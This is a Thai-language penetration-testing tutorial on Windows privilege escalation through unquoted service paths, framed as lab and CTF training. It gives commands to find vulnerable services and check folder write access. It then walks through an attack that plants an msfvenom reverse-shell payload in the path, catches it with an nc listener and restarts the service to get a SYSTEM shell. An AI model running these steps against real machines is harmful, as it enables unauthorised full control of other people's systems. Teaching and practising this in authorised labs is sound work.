Unquoted Service Path
Unquoted Service Path เป็นช่องโหว่ที่ service path มีช่องว่างแต่ไม่มี quote ทำให้ Windows ลองรันไฟล์ตามลำดับ space — ถ้าเราวาง exe ที่ path ก่อนหน้าได้ ก็รันแทนเป็น SYSTEM บทนี้ลงลึกกลไกการ parse path, การหา, การตรวจ writable, และ exploit (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — Windows parse path
เมื่อ service path มีช่องว่างและไม่มี quote เช่น C:\Program Files\My App\service.exe Windows ไม่รู้ว่าช่องว่างเป็นส่วนของชื่อ folder หรือคั่น argument จึงลองรันตามลำดับ: C:\Program.exe → C:\Program Files\My.exe → C:\Program Files\My App\service.exe ถ้าเราวาง exe ที่ path ก่อนหน้าได้ (เช่น C:\Program Files\My.exe) Windows รันตัวนั้นก่อน — และเพราะ service รันเป็น SYSTEM, exe ของเราก็รันเป็น SYSTEM
2. หา unquoted service path
# หา unquoted path ที่มีช่องว่าง (ไม่อยู่ใน System32)
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# (กรอง: ไม่ใช่ Windows folder, ไม่มี quote)
# PowerShell
Get-WmiObject win32_service | Where-Object {
$_.PathName -notmatch '"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows'
} | Select Name, PathName, StartMode
# PowerUp ตรวจอัตโนมัติ
Invoke-AllChecks # มี check unquoted path3. ตรวจ writable + exploit
# สมมติ path: C:\Program Files\Vuln Service\service.exe
# ตรวจว่าเขียน folder ไหนในเส้นทางได้
accesschk.exe -uwdq "C:\"
accesschk.exe -uwdq "C:\Program Files\"
accesschk.exe -uwdq "C:\Program Files\Vuln Service\"
# หา folder ที่ user/Everyone มี Write
# ถ้า C:\Program Files\ เขียนได้ → วาง exe ชื่อ "Vuln.exe"
# (Windows ลองรัน C:\Program Files\Vuln.exe ก่อนตัวจริง)
copy payload.exe "C:\Program Files\Vuln.exe"
# payload = เพิ่ม admin / reverse shell
# restart service (หรือรอ/reboot) → payload รันเป็น SYSTEM
sc stop "ServiceName" & sc start "ServiceName"
net localgroup administrators4. Quick Reference
- path มีช่องว่าง + ไม่มี quote → Windows ลองรันตามลำดับ space
- หา: wmic service get name,pathname | findstr (ไม่มี quote+มี space)
- PowerUp Invoke-AllChecks ตรวจให้
- ตรวจ writable: accesschk -uwdq แต่ละ folder ในเส้นทาง
- วาง exe ชื่อ=คำแรกก่อน space ของ folder ที่เขียนได้
- restart service → payload รันเป็น SYSTEM
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ enum เจอ service ที่ path มีช่องว่างและไม่มี quote มีแค่ Kali ทำตามนี้ทีละขั้น
- 1รัน winPEAS หรือ PowerUp Invoke-AllChecks ก่อน ดูว่ามี unquoted path เตือนไหม
- 2ถ้าไม่ชัด เช็คเอง: wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" มองหา path ที่มีช่องว่างและไม่มี quote
- 3สมมติเจอ service path C:\Program Files\Vuln Service\service.exe — เขียนไว้ว่ามีกี่จุดที่ Windows จะลองรันตามลำดับ space
- 4ตรวจว่า folder ไหนใน path นั้นเขียนได้: accesschk.exe -uwdq "C:\Program Files\" และ accesschk.exe -uwdq "C:\Program Files\Vuln Service\"
- 5ถ้าเจอ folder เขียนได้ กลับไป Kali สร้าง payload: msfvenom -p windows/x64/shell_reverse_tcp LHOST=
LPORT=4444 -f exe -o Vuln.exe - 6เปิด listener: nc -lvnp 4444
- 7ส่ง Vuln.exe เข้าไปวางตรง path ที่ writable: copy Vuln.exe "C:\Program Files\Vuln.exe"
- 8restart service เพื่อ trigger: sc stop "VulnService" & sc start "VulnService" (หรือรอ reboot ถ้าไม่มีสิทธิ์)
- 9เช็ค listener ว่าได้ shell กลับมาไหม แล้ว whoami ต้องเป็น SYSTEM
- 10ถ้าไม่มี folder ไหนเขียนได้เลย ให้ไปเช็ค weak service permission หรือ DLL hijacking ของ service นั้นแทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| enum service path ผิด | winPEAS / PowerUp.ps1 | - | winpeas (GitHub release PEASS-ng) |
| list service+path เอง | wmic / sc / PowerShell | - | - |
| ตรวจ writable folder | accesschk.exe / icacls | - | - |
| สร้าง payload exe | msfvenom | - | revshells.com |
| ส่งไฟล์เข้าเป้าหมาย | python3 -m http.server | - | - |
| restart/trigger service | sc (มากับ Windows) | - | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้